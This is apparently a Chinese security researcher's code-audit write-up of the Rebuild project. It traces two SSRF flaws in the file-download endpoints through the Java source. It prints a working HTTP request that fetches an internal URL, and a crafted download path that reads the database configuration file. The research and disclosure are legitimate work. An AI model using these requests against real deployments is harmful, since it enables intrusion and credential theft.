首先提前祝大家新年快乐,祝各位师傅身体健康,事业顺利。
前段时间在先知社区逛的时候看到Rebuild这个项目的代码审计,故来自己审一下。
源码如下:
https://gitee.com/getrebuild/rebuild
SSRF漏洞
漏洞点在:
com.rebuild.web.commons.FileDownloader.java
请求路径: /filex/proxy-download Get接收url参数,先进行URLdecode解码,然后调用getStorageFile方法,我们跟进去。
这里首先判断我们传递过来的URL参数是否是以http://开头的或是以https://开头的,如果是的话进入IF。
通过正则将我们的路径进行切割。
然后通过substring方法来分割我们传递过来的字符串,首先通过lastIndexOf获取到最后一个字符为 / 的下标然后+1,最后通过substring进行截取。
最终调用readBinary方法来发起请求。
成功读取1.txt文件。
SSRF漏洞2
漏洞点:
com.rebuild.web.commons
主要是isExternalUrl这个函数会判断我们传递的url参数是否是http或者https,跟进去。
可以看到他会判断我们是否以http://或https://开头的,如果是这两个开头的话,那么进入if。
这里就会对我们传递进去的URL参数进行请求。
请求获取到文件之后会以HTML的方式进行展示。
请求包:
GET /filex/read-raw?url=http://127.0.0.1:8000/1.txt&cut=1 HTTP/1.1
Host: 192.168.1.102:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: rb.lastFilesPath=docs; _ga=GA1.1.1772810206.1707272563; rb.TourEnd=session; rb.sidebarCollapsed=false; RBSESSION=CA5050475939DFC2B5B3E8DEE29E24B5; _ga_ZCZHJPMEG7=GS1.1.1707272562.1.1.1707275508.0.0.0
Connection: close
读取数据库配置文件
这里和先知师傅9h0st的不太一样。
如下文:
https://xz.aliyun.com/t/13324#reply-19587
9h0st写的是通过proxyDownload进行读取的,测了一下发现download方法也是可以读取的。
如下:
构造的链接为:
/filex/download/.rebuild?attname=.rebuild
首先获取到URL链接之后判断路径中是否有/filex/access,如果没有的话则进入else中进行切割,将真正要读取的文件的路径连带文件名一块读取出来。
最后通过writeLocalFile方法输出到页面中。
这里其实.rebuild虽然在URL里面,但是也是文件路径。